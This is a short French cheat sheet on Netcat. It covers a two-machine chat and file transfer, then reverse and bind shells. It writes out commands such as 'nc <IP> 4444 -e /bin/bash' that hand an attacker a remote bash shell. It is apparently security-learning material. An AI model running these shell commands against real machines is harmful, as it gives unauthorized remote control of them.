<aside> ℹ️
Netcat : Outil permettant d’ouvrir des connexions réseaux.
</aside>
Voici un aperçu des commandes de base pour utiliser Netcat :
Créer une discussion :
# Alice ouvre et écoute [l] sur son port [p] 4444.
nc -lp 4444
# Bob se connecte au port d'Alice.
nc 192.168.1.100 4444
# Alice et Bob ont établi une connexion, il peuvent maintenant discuter.
Serveur : Écouter sur un port spécifique
nc -lp 4444
-l
: écouter (listen
)-p
: spécifie le port (4444)Client : Se connecter à l'IP du serveur sur le port 4444
nc <IP_Serveur> 4444
On a établi une connexion Client/Serveur. On peut communiquer d’une machine à l’autre désormais par chat textuel.
Serveur : Recevoir un fichier
nc -lp 4444 > fichier_recu.txt
Client : Envoyer un fichier
nc <IP_M> 4444 < fichier_envoye.txt
Dans un reverse shell, la cible (C) se connecte à l'attaquant (A), qui reçoit le shell.
Serveur/Attaquant (A) : Écouter sur un port pour recevoir le shell
nc -lp 4444
Client/Cible (C) : Envoyer un shell à l'attaquant en se connectant à son IP
nc <IP_Serveur> 4444 -e /bin/bash
-e /bin/bash
: Exécuter un shell bash à la connexionServeur/Attaquant (A) : Une fois connecté C connecté à A.
# Machine de l'attaquant
whoami
-> cible
Dans un bind shell, la cible (C) ouvre un shell en écoutant sur un port, et l'attaquant (A) s'y connecte.
Seveur/Cible (C) : Écouter sur un port et offrir un shell
nc -lp 4444 -e /bin/bash
Client/Attaquant (A) : Se connecter au bind shell de la cible
nc <IP_Serveur> 4444